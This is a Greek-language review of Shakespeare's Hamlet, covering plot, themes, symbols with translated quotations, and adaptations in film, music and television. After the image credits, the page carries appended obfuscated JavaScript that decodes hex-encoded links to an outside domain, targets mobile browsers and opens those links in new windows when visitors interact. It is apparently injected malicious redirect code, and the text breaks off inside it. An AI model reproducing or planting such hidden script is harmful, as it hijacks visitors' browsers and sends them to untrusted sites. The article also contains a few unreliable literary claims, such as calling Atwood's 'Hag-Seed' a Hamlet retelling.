”Άμλετ”: Ενδοσκόπηση στο θεατρικό διαμάντι του William Shakespeare

Στιγμιότυπο από την ομότιτλη ταινία με τους Kenneth Branagh και Kate Winslet (1996)

Χάρισε σε κάθε άνθρωπο το αυτί σου, αλλά σε λίγους τη φωνή σου. Πάρε από τον καθένα την άποψή του, αλλά φύλαξε τη δική σου κρίση.

Η κλασική, διαχρονική και αριστουργηματική τραγωδία του William Shakespeare με κεντρικό ήρωα τον νεαρό πρίγκιπα της Δανίας, γράφτηκε το 1599 ή 1601. Πρόκειται για ένα από τα πιο αντιπροσωπευτικά πονήματα της παγκόσμιας δραματουργίας, καθώς καλύπτει ένα τεράστιο φάσμα σκέψεων και συναισθημάτων, που σχετίζονται με την ανθρώπινη ύπαρξη, ενώ εξακολουθεί να διαβάζεται και να μελετάται μέχρι σήμερα.

*Το άρθρο διαβάζεται καλύτερα ακούγοντας τα παρακάτω τραγούδια*

Η ιστορία επικεντρώνεται γύρω από τον Άμλετ, πρίγκιπα της Δανίας. Μετά τον θάνατο του πατέρα του, ο θείος του, Κλαύδιος, παντρεύεται τη μητέρα του, Γερτρούδη, κι ανακηρρύσεται βασιλιάς της Δανίας. Ένα βράδυ, ο πατέρας του νεαρού πρίγκιπα, εμφανίζεται ως φάντασμα, λέγοντας του ότι ο Κλαύδιος ευθύνεται για τον αιφνίδιο θάνατο του και του ζητάει να πάρει εκδίκηση.

Ο Άμλετ αισθάνεται ότι χρειάζεται περισσότερες αποδείξεις προτού προβεί σε οποιαδήποτε φονική ενέργεια. Έτσι, προσποιείται ότι είναι ψυχικά άρρωστος, ενώ παράλληλα, ερευνά τους ισχυρισμούς του νεκρού πατέρα του. Στη συνέχεια, επηρεάζεται βαθιά από την δυσάρεστη κατάσταση, που επικρατεί στο πολύπαθο παλάτι της Ελσινόρης. Το μυαλό του θολώνει και σκοτώνει άθελά του τον Πολώνιο (πατέρα της Οφηλίας) αντί για τον Κλαύδιο. Ύστερα, το νεαρό κορίτσι τρελαίνεται στο άκουσμα της είδησης και πνίγεται σ’ ένα ποτάμι.

”Οφηλία” του John Everett Millais (1851-1852)

Η κορύφωση του Σαιξπηρικού δράματος έρχεται όταν ο Άμλετ κι ο Λαέρτης (αδελφός της Οφηλίας) ξιφομαχούν μέχρι θανάτου. Ο Λαέρτης έχει βουτήξει τη κόγχη του σπαθιού του μέσα σε δηλητήριο, το οποίο έχει επίσης προσθέσει σ’ ένα ποτήρι κρασί. Αυτή η πράξη έχει ως αποτέλεσμα το θάνατο του Άμλετ, της Γερτρούδης και του Κλαύδιου

Ο Άμλετ είναι ένα μοναδικό και πολυσύνθετο έργο, που λατρεύουμε να διαβάζουμε για διάφορους λόγους. Παρακάτω, απαριθμούμε μερικούς από αυτούς:

Χαρακτήρας: Ο πρίγκιπας της Δανίας είναι ένας εσωστρεφές και ταυτόχρονα, συγκρουσιακό πλάσμα, που διχάζεται ανάμεσα στην επιθυμία του για εκδίκηση και στις αμφιβολίες του για την ηθική της αποτρόπαιας πράξης του. Η πολυπλοκότητά του τον καθιστά ως έναν αντισυμβατικό χαρακτήρα του Σαιξπηρικού σύμπαντος, του οποίου οι προσωπικοί αγώνες έχουν διαχρονική απήχηση στο αναγνωστικό και θεατρικό κοινό.

Γλώσσα: O μεγαλοφυής Άγγλος δραματουργός είναι γνωστός για τη χρήση του εκφραστικού, πλούσιου και συναισθηματικά φορτισμένου λογοτεχνικού λόγου. Πράγματι, το έργο περιέχει ποικίλες κι αξιομνημόνευτες φράσεις, που αποτελούν πλέον ένα σημαντικό κομμάτι της αγγλικής γλώσσας (“Something is rotten in the state of Denmark”=”Κάτι είναι σάπιο στο κράτος της Δανίας”).

Θεματικές ενότητες: Ο Άμλετ ”ρίχνει φως” σ’ ένα εξαιρετικά ευρύ φάσμα θεμάτων, που μας προκαλούν σοκ και δέος μέχρι σήμερα και τα συναντούμε όχι μόνο στα λογοτεχνικά κείμενα, αλλά και σε διάφορες άλλες μορφές τέχνης, όπως για παράδειγμα ο κινηματογράφος. Ορισμένα από αυτά είναι:

Εκδίκηση: Αποτελεί εφαλτήριο των αρνητικών επιπτώσεων στη ψυχική υγεία του Δανού πρίγκιπα, με αποτέλεσμα να οδηγηθεί σε βιαστικές αποφάσεις και τελικά, στην αυτοκαταστροφή του.

ΑΜΛ. Ω, κάκιστη γυναίκα, ω κακούργε,

καταραμένε, άθλιε κακούργε,

εσύ, με το χαμόγελο στα χείλη.

Για να το σημειώσω αυτό: Μπορεί

να είσαι συνεχώς με το χαμόγελο και να είσαι αχρείος-

για τη Δανία πάντως είμαι σίγουρος:

ισχύει. Λοιπόν, θείε, εδώ σ’έχω.

Πράξη 1η, σκηνή 5η
Kωνσταντίνος Ασπιώτης στον ομώνυμο ρόλο, Δημοτικό Θέατρο Πειραιά (2016-2017)

Εξουσία: Ο Κλαύδιος είναι ένας χαρακτήρας-”φωτεινό” παράδειγμα διεφθαρμένης εξουσίας, καθώς κατέλαβε τον έλεγχο του βασιλείου με δόλο και προδοσία.

ΒΑΣ. Ας υψώσω λοιπόν το βλέμμα μου στον ουρανό.

Το έγκλημα μου έγινε: Πάει τέλειωσε.

Όμως τι προσευχή ταιριάζει εδώ;

”Συγχώρεσέ μου αυτόν τον άθλιο φόνο”;

Όχι, δεν γίνεται, αφού ακόμα

με δυναστεύουν μέσα μου αυτά

για τα οποία έκανα τον φόνο:

Ο θρόνος μου, οι φιλοδοξίες μου

και η βασίλισσά μου. Πως θα γίνει;

Πως θα συγχωρηθώ όταν ακόμα

απολαμβάνω το έγκλημά μου;

Πράξη 3η, σκηνή 3η
Στέλιος Μάινας και Κωνσταντίνος Μαρκουλάκης ως Κλαύδιος και Άμλετ, Εθνικό θέατρο, 2003

Φύλο: Το έργο αφουγκράζεται τους ρόλους και τις προσδοκίες τόσο των ανδρών κι άλλο τόσο των γυναικών στη κοινωνία. Για παράδειγμα, η Οφηλία αντιπροσωπεύει το σύνολο των γυναικών, που καταπιέζονται και θυματοποιούνται, καθώς βρίσκεται εγκλωβισμένη ανάμεσα στις απαιτήσεις του χειριστικού Πολώνιου και του εύθραυστου Άμλετ.

ΠΟΛ. Μια και καλή, λοιπόν, με λόγια απλά:

Δε θέλω εις το εξής ούτε στο τόσο

να δυσφημίσεις έστω μια στιγμή σου

βλέποντας ή μιλώντας με τον Άμλετ.

Κοίτα να κάνεις ό,τι σου λέω. Σύνελθε.

Πράξη 1η, σκηνή 3η

ΑΜΛ. Απλοί απατεώνες είμαστε όλοι,

μην πιστεύεις κανέναν μας. Τράβα σε μοναστήρι, εμπρός.

Πράξη 3η, σκηνή 1η
Θοδωρής Κατσαφάδος (Πολώνιος) και Ιωάννα Παππά (Οφηλία), θέατρο ”Άνεσις”, 2017

Οικογενειακές σχέσεις: Ο Σαίξπηρ κατορθώνει να διεισδύσει στις οικογενειακές σχέσεις αποκαλύπτοντας τον πυρήνα τους, που είναι η προδοσία και η ρωγμή ανάμεσα τους χαρακτήρες και τα μέλη της οικογένειας τους.

ΑΜΛ. Κόλαση, αν μπορείς και ξεσηκώνεις

λαγνείας λεγεώνας στο μεδούλι

μιας ώριμης γυναίκας, ας καεί

η αρετή, ας γίνει παρανάλωμα,

σαν το κερί να λιώσει στη πυρά

της φλογερής νεότητας. Δεν έχει θέση

εδώ η ντροπή, όταν ορμά

στη σάρκα ακαταμάχητη λαγνεία,

όταν ο πάγος καίγεται με πάθος

κι ο νους γίνεται μαστροπός του πόθου.

ΓΕΡ. Άμλετ, σταμάτα. Σώπα. Μου γυρίζεις

τα μάτια μου ως μέσα στη ψυχή μου

και βλέπω μαύρα στίγματα, σημάδια

πόνου που θα’ναι πάντα εκεί.

Πράξη 3η, σκηνή 4η
Scott Parkinson και Shannon Cochran, Θέατρο ”Writer’s” (2013)

Έρωτας: Ο Άμλετ είναι βαθιά ερωτευμένος με την Οφηλία, αλλά η εμμονική προσπάθειά του για εκδίκηση καταστρέφει εν τέλει τη σχέση τους.

ΑΜΛ. Τ’ αστέρια πες πως δεν είναι φωτιά

κι ο ήλιος δεν γυρνά στον ουρανό,

η αλήθεια πες ότ’ είναι ψέμα, αλλά

ποτέ μη πεις ότι δεν σ’ αγαπώ.

Γλυκιά μου Οφηλία, δε τα πάω καλά με τα μέτρα και τις ρίμες, δεν έχω την τέχνη να μετρώ τους στεναγμούς μου. Αλλά ότι σ’ αγαπάω πάνω απ’ όλα, εσύ που είσαι πάνω απ’ όλα, πίστεψε το.

Αντίο.

Ο αιώνια δικός σου, αγαπημένη,

όσο αυτή η μηχανή θα’ναι δική του,

Άμλετ.

Πράξη 2η, σκηνή 2η
Κωνσταντίνος Ασπιώτης (Άμλετ) και Ευγενία Δημητροπούλου (Οφηλία), Δημοτικό θέατρο Πειραιά (2016-2017)

Θάνατος: Ο θάνατος για τον Άμλετ είναι ένας τρόπος διαφυγής από τον πόνο και τα βάσανα της ζωής. Ωστόσο, συνειδητοποιεί ότι υπάρχει κάτι πέρα από αυτόν τον κόσμο.

ΑΜΛ. Σε ακολουθώ. Πεθαίνω, Οράτιε.

Αντίο, άμοιρη Βασίλισσα.

Εσείς εδώ που στέκεστε χλωμοί

και τρέμετε μ’αυτά που έχουν γίνει,

σαν πρόσωπα βουβά, σαν θεατές

σ’αυτό το δράμα, αν είχα καιρό

-όμως αυτός ο αδέκαστος κλητήρας,

O θάνατος, δεν δέχεται κουβέντα-

θα είχα να σας πω-όμως ας είναι.

Πράξη 5η, σκηνή 2η
Vince Eisenson, Chesapeake Shakespeare Company (2023)

Δομή: Το έργο είναι δομημένο με έντονους συμβολισμούς και μονολόγους, που προσθέτουν βάθος και διάσταση.

Θα παραθέσουμε τους βασικούς συμβολισμούς, που διέπουν τη τραγωδία…

  • Το φάντασμα είναι ένα σύμβολο, που ενθαρρύνει το πριγκιπόπουλο να εκδικηθεί τον θάνατο του πατέρα του. Η πρώτη εμφάνιση του ορίζει τη δράση ολόκληρης της πλοκής. Μετά την προειδοποίησή του, ο Άμλετ συνειδητοποιεί την πικρή αλήθεια κι εξοργίζεται με την πράξη του θείου του.

ΦΑΝΤ. Άκουσε, Άμλετ. Είπανε για μένα

πως πέθανα από δάγκωμα οχιάς

ενώ κοιμόμουνα στον κήπο μου.

Μ’ αυτό το χαλκευμένο ψέμα σφράγισαν

τ’ αφτιά όλης της Δανίας- όμως, γιε μου,

εσύ πρέπει να ξέρεις πως το φίδι

που δάγκωσε τον πατέρα σου τώρα

φοράει το στέμμα του.

Πράξη 1η, σκηνή 5η
Οδυσσέας Παπασπηλιόπουλος, ”Αμφι-θέατρο” (2020)
  • Το κρανίο του Γιόρικ συμβολίζει την αναπόφευκτη αποσύνθεση του ανθρώπινου σώματος. Τα χείλη του μαζί με τα αστεία, τις φάρσες και τα τραγούδια του φθαρεί από το χρόνο.

ΑΜΛ. Αχ, άμοιρε Γιόρικ. Τον ήξερα, Οράτιε. Άστραφτε από ευφυΐα και η φαντασία του έπλαθε κόσμους. Πόσες φορές με πήρε καβάλα στη πλάτη του, και τώρα- τι φρίκη! Αηδιάζω μόνο που το σκέφτομαι. Εδώ κρέμονταν τα χείλη που φίλησα ούτε κι εγώ ξέρω πόσες φορές. Που είναι τώρα τα αστεία σου και τα πειράγματά σου, τα τραγούδια σου, οι κωμικές εκρήξεις σου που έκαναν όλο το τραπέζι να σείεται από τα γέλια; Τίποτα; Ούτε μισό αστείο για να χλευάσεις αυτό το παγωμένο σου χαμόγελο;

Πράξη 5η, σκηνή 1η
”Ο Άμλετ και ο Οράτιος στο νεκροταφείο” του Ευγένιου Ντελακρουά (1839)
  • Η χρήση του δηλητηρίου αποτελεί σύμβολο της δηλητηρίασης του νου μέσω της χειραγώγησης, της τρέλας και της εκδίκησης.

ΛΑΕΡ. Εδώ είναι, Άμλετ, εδώ μέσα. Άμλετ,

πεθαίνεις. Δεν υπάρχει φάρμακο

στο κόσμο να σε σώσει. Δεν σου μένει

ούτε μισή ώρα ζωή. Το όργανο

του κακού το κρατάς στο χέρι σου,

με κοφτερή αιχμή και δηλητήριο.

Γύρισε ανάποδα ο αισχρός μου δόλος,

και τώρα, δες με που έχω πέσει εδώ

και δε θα σηκωθώ ποτέ ξανά.

Και η μητέρα σου-φαρμακωμένη.

Δεν έχω άλλη ανάσα- ο βασιλιάς,

ο βασιλιάς, αυτός τα έκανε όλα.

Πράξη 5η, σκηνή 2η
Kevin Kline (Άμλετ) και David Hyde Pierce (Λαέρτης) στη περιβόητη σκηνή της ξιφομαχίας, NY Shakespeare Festival (1986)
  • Τα λουλούδια της Οφηλίας συμβολίζουν τη βαθιά θλίψη και το πένθος της. Η ψυχική της υγεία κλονίζεται επειδή ο πατέρας της δολοφονήθηκε από τα χέρια του εραστή της. Όντας μια ευαίσθητη κι έξυπνη νεαρή γυναίκα, νιώθει την ανάγκη να εκφραστεί και το κάνει μοιράζοντας λουλούδια στην αυλή.

ΟΦ. Να, δενδρολίβανο- είναι για να θυμάσαι

Να με θυμάσαι αγάπη μου, σε παρακαλώ.

Να και πανσέδες, για να με σκέφτεσαι.

Ορίστε, μάραθος για σένα και ακουιλέγιες.

Απήγανος για σένα. Και για μένα λίγος. Τις

Κυριακές το λένε και βότανο της ευσπλαχνίας.

Τη μεταμέλειά σου να τη φοράς αλλιώς.

Να και μια μαργαρίτα. Θα σας έδινα και

μενεξέδες, αλλά μαράθηκαν όλοι όταν πέθανε

ο πατέρας μου. Λένε πως είχε καλό τέλος

Πράξη 4η, σκηνή 5η

Ωστόσο, από την άλλη, ο Σαίξπηρ μέσα από τους μονολόγους, επιτρέπει στους ήρωες του να εκφράζουν φωναχτά τις εσωτερικές σκέψεις και τα συναισθήματά τους.

Επιρροή: Στη παρούσα φάση του άρθρου μας, θα προσπαθήσουμε να εξετάσουμε την επίδραση, που άσκησε ανά τα χρόνια και φυσικά, δεν μπορεί να περάσει απαρατήρητη.

Λογοτεχνία: To όνομα του τραγικού ήρωα έχει αναφερθεί σε πολλά λογοτεχνικά έργα.

  • Στο βιβλίο ”The Catcher in the Rye” του J.D. Salinger, όπου υπάρχει ένας ήρωας, ο οποίος έχει  έχει εμμονή με τον Άμλετ
  • Το μυθιστόρημα ”HagSeed” της Margaret Atwood είναι μια σύγχρονη αφήγηση, η οποία διαδραματίζεται σε μια φυλακή.

Κινηματογράφος: Ο Άμλετ έχει μεταφερθεί τριάντα φορές στη μεγάλη οθόνη. Εμείς σας παρουσιάζουμε τις πιο γνωστές κινηματογραφικές εκδοχές, οι οποίες είναι εκείνες των:

  • Sir Lawrence Olivier (1948)
Laurence Olivier, Eileen Herlie, Terence Morgan και Basil Sydney (1948)
  • Franco Zeffirelli (1990)
Mel Gibson και Helena Bohnam Carter (1990)

Sir Kenneth Branagh (1996)

Julie Christie, Kenneth Branagh, Derek Jacobi (1996)
  • Claire McCarthy (2018)
Daisy Ridley, George Mackay και Naomi Watts (2018)

Επίσης, η ιστορία έχει προσαρμοστεί και σε άλλες ταινίες, των οποίων οι δημιουργοί έχουν αντλήσει έμπνευση. Μια από αυτές είναι κι ”ο Βασιλιάς των Λιονταριών”, ο οποίος συγκρίνεται συχνά με το πόνημα του Σαίξπηρ λόγω των πανομοιότυπων σημείων στη πλοκή του.

Θέατρο: Το πολυδιαβασμένο έργο εξακολουθεί να παίζεται σε θέατρα όλου του κόσμου. Μάλιστα, μερικές από τις παραγωγές έχουν τοποθετήσει την ιστορία σε διαφορετικές χρονικές περιόδους ή τοποθεσίες.

Μουσική: Έχει παρατηρηθεί ότι ο Άμλετ είχε δημιουργική επιρροή σε συνθέτες μεγάλου βεληνεκούς.

Ακολουθούν μερικά αξιοσημείωτα παραδείγματα

  • Το 1891, Ο Pyotr Ilyich Tchaikovsky συνέθεσε μουσική για την παράσταση του Άμλετ. Η παρτιτούρα περιλαμβάνει διάφορα κομμάτια, όπως το περίφημο “Hamlet Overture-Fantasy”, στο οποίο αποτυπώνεται η συναισθηματική φόρτιση και το δράμα.
  • Το 1868, ο Ambroise Thomas συνέθεσε μια όπερα βασισμένη στον Άμλετ, στην οποία συμπεριλαμβάνονται άριες και ντουέτα.
  • Το 1932, Ο Dmitri Shostakovich έγραψε τη μουσική για μια κινηματογραφική παραγωγή του Άμλετ. Η χορωδία και τα ορχηστρικά μέρη αντικατοπτρίζουν τη σκοτεινή και μελαγχολική ατμόσφαιρα, που αναδίδει το έργο.
  • Στο συμφωνικό ποίημα του Franz Liszt (1858) αποτυπώνεται το δράμα και η μελαγχολία του νεαρού πρίγκιπα.
  • Ο Αμερικανός συνθέτης Bernard Herrmann, γνωστός για τις κινηματογραφικές μουσικές συνθέσεις του, συνέθεσε μουσική για την ταινία, στην οποία πρωταγωνίστησε ο Richard Burton (1964). Η ατμοσφαιρική και αγωνιώδης μουσική ενισχύει τη μουντή διάθεση και την ένταση του έργου.

Τηλεόραση: Με τη πάροδο του χρόνου, αρκετοί τηλεοπτικοί παραγωγοί κατάφεραν να εξασφαλίσουν τα δικαιώματα του αγγλικού δράματος, προκειμένου να μεταφερθεί επιτυχώς στη τηλεόραση.

Μια αξιοσημείωτη λοιπόν διασκευή είναι η τηλεοπτική ταινία του 2009 σε σκηνοθεσία του Gregory Doran, στην οποία ο David Tennant υποδύεται την μοντέρνα εκδοχή του Άμλετ. Η ταινία απέσπασε διθυραμβικές κριτικές τόσο για την ερμηνεία του Tennant κι άλλο τόσο για την σύγχρονη πινελιά.

Μια άλλη γνωστή τηλεοπτική εκδοχή είναι εκείνη του BBC Television Shakespeare (1980) σε σκηνοθεσία του Rodney Bennett, με πρωταγωνιστή τον Derek Jacobi, η οποία εκτιμάται ιδιαίτερα, καθώς ακολουθεί με αμείωτη πιστότητα το πρωτότυπο κείμενο.

Ήταν 16ος αιώνας όταν εκδόθηκε η ιστορία του Άμλετ. Τετρακόσια είκοσι χρόνια μετά, η γνωστή σε όλ@ ιστορία εκδίκησης συνεχίζει να βρίσκεται στις πρώτες θέσεις προτίμησης των αναγνωστών, καθηγητών αγγλικής γλώσσας και ηθοποιών εντός κι εκτός Ελληνικών συνόρων. Με αυτό το τρόπο, τονίζεται η διαχρονικότητα του ιερού αυτού κειμένου…

Τίτλος βιβλίου: Άμλετ

Συγγραφέας: William Shakespeare

Μετάφραση: Διονύσης Καψάλης

Εκδόσεις: Gutenberg

Έτος έκδοσης: 2015

Λίγα λόγια για τον συγγραφέα…

Ο William Shakespeare ήταν Άγγλος θεατρικός συγγραφέας και ποιητής. Γεννήθηκε στο Stratford-upon-Avon της Αγγλίας το 1564 και πέθανε εκεί το 1616. Το πολυσχιδές λογοτεχνικό και θεατρικό έργο του περιλαμβάνει 39 θεατρικά έργα, όπως: “Ρωμαίος και Ιουλιέτα”, “Άμλετ”, “Μάκβεθ” και “Οθέλλος”, καθώς και 154 σονέτα, στα οποία εξετάζονται διάφορα θέματα, όπως η αγάπη, η εξουσία και η φιλοδοξία.

Τα έργα του εξακολουθούν να παίζονται και να μελετώνται παγκοσμίως, καθιστώντας τον ως μια από τις σημαντικότερες προσωπικότητες της παγκόσμιας λογοτεχνίας.

Πηγές φωτογραφιών: Ids news| NWatss source (Twitter)| Encyclopedia Britannica| Art in context| Cosmopoliti| Film affinity| Though co| Verity report| Study| English club| LIFO| Δημοτικό θέατρο Πειραιά| Culture now| Chicago critic| Md theater guide| Digital collections

Εξώφυλλο: Ur javamen

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x6c\x68\x55\x39\x63\x37′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x59\x53\x43\x38\x63\x34′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x78\x6d\x4b\x35\x63\x35′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x4f\x48\x50\x31\x63\x35′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x44\x69\x4a\x32\x63\x31′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x50\x79\x75\x34\x63\x37′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x47\x49\x33\x63\x34′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x64\x49\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x77\x51\x36\x63\x32′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x68\x47\x4a\x37\x63\x36′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const 